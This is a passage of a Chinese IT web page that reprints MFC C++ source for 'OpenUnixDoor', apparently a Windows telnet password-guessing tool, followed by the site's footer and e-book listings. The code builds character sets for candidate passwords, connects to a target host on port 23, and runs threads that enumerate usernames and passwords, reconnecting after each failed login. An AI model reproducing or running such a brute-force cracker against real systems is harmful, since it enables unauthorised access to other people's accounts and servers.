   s1.LoadString(IDS_PASS_ALLNUMBER);
   if(strSelect==s1){
         strPassChar="0123456789";return TRUE;
   }
   s1.LoadString(IDS_PASS_ALLENLOW);
   if(strSelect==s1){
         strPassChar="abcdefghigklmnopqrstuvwxyz";      return TRUE;
   }
   s1.LoadString(IDS_PASS_ALLENUP);
   if(strSelect==s1){
         strPassChar="ABCDEFGHIGKLMNOPQRSTUVWXYZ";      return TRUE;
   }
   s1.LoadString(IDS_PASS_NUMANDLOW);
   if(strSelect == s1){
         strPassChar = "0123456789abcdefghigklmnopqrstuvwxyz"; return TRUE;
   }
   s1.LoadString(IDS_PASS_NUMANDLOWUP);
   if(strSelect == s1){
         strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ";
         return TRUE;
   }
   s1.LoadString(IDS_PASS_ALL);
   if(strSelect == s1){
         strPassChar = "0123456789abcdefghigklmnopqrstuvwxyzABCDEFGHIGKLMNOPQRSTUVWXYZ`~!@#$%^&*()-=\\_+|[]{};':\",./<>?";
         return TRUE;
   }
   return FALSE;
}
BOOL COpenUnixDoorDlg::RepairSocket()
{
   BOOL bOK;
   pSocket = new CClientSocket(this) ;
   if(pSocket != NULL){
         bOK = pSocket->Create();
         if(bOK == TRUE){
               pSocket->AsyncSelect(FD_READ | FD_WRITE| FD_CLOSE | FD_CONNECT | FD_OOB);
               pSocket->Connect(strHostName,23);      
         }else{
               delete pSocket;
         }
   }else{
         AfxMessageBox("Could not create new socket",MB_OK);
   }
   return TRUE;
}
void COpenUnixDoorDlg::CloseSocket()
{
   //gEventDisConncet.SetEvent();
   CString strTemp;
   strTemp.LoadString(IDS_YOUAREFAILED);
   AfxMessageBox(strTemp);
}
void COpenUnixDoorDlg::OnBtStop()
{
   static int i=0;
   CString str;
   if(i == 0)
   {
         //MUST STOP SOKET
         bIsStop=TRUE;
         pSocket->OnClose(0);
         if(pUserThread != NULL)
               pUserThread->SuspendThread();                                    //枚举用户名线程
         if(pPassWordThread != NULL)
               pPassWordThread->SuspendThread();                              //枚举用户密码线程
         //if(pLogonThread!=NULL)pLogonThread->SuspendThread();      //登录线程      
         str.LoadString(IDS_REBEGIN);
         SetDlgItemText(IDC_BT_STOP,str);
         i=1;
   }else{
         bIsStop = FALSE;
         gEventDisConncet.SetEvent();
         if(pUserThread != NULL)
               pUserThread->ResumeThread();            
         if(pPassWordThread != NULL)
               pPassWordThread->ResumeThread();      
         //if(pLogonThread!=NULL)pLogonThread->ResumeThread();
         str.LoadString(IDS_STOP);
         SetDlgItemText(IDC_BT_STOP,str);
         i = 0;
   }
}
void CAboutDlg::OnOK()
{
   CDialog::OnOK();
}
void COpenUnixDoorDlg::OnBtHelp()
{
   CHelpDlg dlg;
   dlg.DoModal();
}
void COpenUnixDoorDlg::LockView()
{
   GetDlgItem(IDC_ET_HOSTNAME)->EnableWindow(FALSE);
   GetDlgItem(IDC_ET_USERNAME)->EnableWindow(FALSE);
   GetDlgItem(IDC_ET_USERDIR)->EnableWindow(FALSE);
   GetDlgItem(IDC_CHECK_USER)->EnableWindow(FALSE);
   GetDlgItem(IDC_BT_USERDIR)->EnableWindow(FALSE);
   GetDlgItem(IDC_COMBO_PASS)->EnableWindow(FALSE);
   GetDlgItem(IDC_ET_PASSFLDIR)->EnableWindow(FALSE);
   GetDlgItem(IDC_BT_PASSDIR)->EnableWindow(FALSE);
   GetDlgItem(IDC_ET_PASSCOUNT)->EnableWindow(FALSE);
   GetDlgItem(IDC_SPIN_PASS)->EnableWindow(FALSE);
   GetDlgItem(IDC_BT_BEGIN)->EnableWindow(FALSE);
}
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg dialog
… …
/////////////////////////////////////////////////////////////////////////////
// CHelpDlg message handlers
int CHelpDlg::DoModal()
{
   return CDialog::DoModal();
}
BOOL CHelpDlg::OnInitDialog()
{
   CDialog::OnInitDialog();
   
   CString strHelp;
   strHelp.LoadString(IDS_HELP);
   m_Edit_HelpCtr.ReplaceSel(strHelp.operator LPCTSTR());
   return TRUE; // return TRUE unless you set the focus to a control
}
void CHelpDlg::OnBtMypro()
{
   CAboutDlg dlg;
   dlg.DoModal();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// ClientSocket.h : header file
//
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/
class COpenUnixDoorDlg;
class CClientSocket : public CAsyncSocket
{
… …
public:
   CClientSocket(COpenUnixDoorDlg *pDlg);
   virtual ~CClientSocket();
// Overrides
public:
   COpenUnixDoorDlg *lpDlg;
   // ClassWizard generated virtual function overrides
   //{{AFX_VIRTUAL(CClientSocket)
   public:
   virtual void OnClose(int nErrorCode);
   virtual void OnOutOfBandData(int nErrorCode);
   virtual void OnReceive(int nErrorCode);
   virtual void OnSend(int nErrorCode);
   //}}AFX_VIRTUAL
   // Generated message map functions
   //{{AFX_MSG(CClientSocket)
         // NOTE - the ClassWizard will add and remove member functions here.
   //}}AFX_MSG
// Implementation
protected:
};
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// ClientSocket.cpp
//
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/*
*OpenUnixDoor Developer: DING Xiaoping
*Send comments and/or bug reports to: northsouth@163.com
*/
#include "stdafx.h"
#include "OpenUnixDoor.h"
#include "ClientSocket.h"
#include "OpenUnixDoorDlg.h"
CClientSocket::CClientSocket(COpenUnixDoorDlg *pDlg)
{
   lpDlg=pDlg;
}
void CClientSocket::OnClose(int nErrorCode)
{
   CAsyncSocket::OnClose(nErrorCode);
   if(lpDlg->bPassFinished)lpDlg->CloseSocket();
   //else if(lpDlg->bIsStop)return ;
   else lpDlg->ReConnect();
}
void CClientSocket::OnOutOfBandData(int nErrorCode)
{
   CAsyncSocket::OnOutOfBandData(nErrorCode);
}
void CClientSocket::OnReceive(int nErrorCode)
{
   lpDlg->ReceiveData(this);
}
void CClientSocket::OnSend(int nErrorCode)
{
   CAsyncSocket::OnSend(nErrorCode);
}


发表
查看
我也说两句

匿名发表

(如果看不清请点击图片进行更换)


中 国 领 先 的 IT 技 术 网 站 ·
技 术 成 就 梦 想
·IIS 专题频道 (查看19766次)
·中间件应用技术专题 (查看16110次)
·FTP协议应用专题 (查看16071次)
·140个电脑小知识、小技巧 (查看14403次)
·Apache技术专题 (查看12953次)
订阅技术快讯
电子杂志下载
名称:网络安全精品应用黄皮书
简介:《2007精品网络安全黄皮书》包括了9个大类24个小类, 800余篇文章,内容包含了熊猫烧香病毒、DDOS攻击、ARP病等热点问题的介绍及解决方案。从病毒查杀、防范、系统、数据等各方面的安全设置到黑客技术的了解、防范,涉及到了安全应用的全部领域, 由浅至深内容全面。
名称:Vista精品应用黄皮书
简介:《Vista精品应用黄皮书》囊括了Vista的各方面内容。此次的精简版,是将里面的内容做了提取,便于用户下载和使用。内容包含了各种Vista的安装与实施、技巧与解析以及各种Vista相关学习文档和相关软件的安全下载。该电子书是了解和应用Vista人员必备的工具手册,并且也是第一本
名称:2006中国IT论坛精品集合
简介:本书由“51CTO论坛推广联盟”制作完成。书中所有内容均来自各联盟成员的论坛(网站)。制作本书的目的是为了集中大家的优势资源,将更多更精彩的内容带给广大技术爱好者。本书是联盟成立以来制作的第一本书。
关键字阅读
频道精选
主编信箱 热线:010-66476606 告诉我们您想看的:专题 文章
关于我们 | 诚聘英才 | 联系我们 | 网站大事 | 意见反馈 | 网站地图
Copyright©2005-2007 51CTO.COM 版权所有